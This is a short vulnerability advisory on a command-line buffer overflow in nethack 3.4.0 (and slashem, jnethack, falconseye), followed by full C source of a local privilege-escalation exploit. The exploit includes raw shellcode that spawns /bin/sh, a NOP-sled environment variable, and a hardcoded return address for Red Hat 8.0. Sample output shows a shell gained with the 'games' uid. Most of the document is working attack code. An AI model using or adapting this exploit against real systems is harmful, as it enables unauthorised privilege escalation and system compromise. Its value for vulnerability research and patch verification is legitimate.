source: http://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.


/* DSR-nethack.c by bob@dtors.net
 * Vulnerbility Found by tsao.
 *
 * Local BufferOverflow that leads
 * to elevated privileges [games].
 *
 * Basic PoC code...nothing special.
 *[bob@dtors bob]$ ./DSR-nethack
 *
 *       DSR-nethack.c By bob.
 *   Local Exploit for Nethack 3.4.0
 *       DSR-[www.dtors.net]-DSR
 * 
 *   ret: 0xbffffd86
 *
 * Cannot find any current entries for 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.���
 * Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
 * Player types are: [-p role] [-r race]
 * sh-2.05b$ id -a
 * uid=12(games) gid=501(bob) groups=501(bob)
 * sh-2.05b$ 
 *
 * www.dtors.net // www.b0f.net
 */
#include <stdio.h>
char shellcode[]= /* shellcode by bob */
            
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
int main ()
{
        unsigned long ret = 0xbffffd86;  //Redhat 8.0 i386
        char buf[224]; 
        char smeg[1024];
        char *ptr;      
  int i=0;   
fprintf(stdout, "\n\tDSR-nethack.c By bob.\n"); 
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
 
memset(buf, 0x41, sizeof(buf)); 
        ptr = smeg; 
        for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90; 
        for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; 
        smeg[1024 - 1] = '\0'; //null byte
        memcpy(smeg,"EGG=",4); 
        putenv(smeg);
        buf[220] = (ret & 0x000000ff);            
        buf[221] = (ret & 0x0000ff00) >> 8;
        buf[222] = (ret & 0x00ff0000) >> 16;
        buf[223] = (ret & 0xff000000) >> 24;
        buf[224] = '\0';
        
        fprintf(stdout,"ret: 0x%08x\n",ret);
        
        execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s",  buf, 
NULL); //weeoooweeeeooowooo
        return 0;
}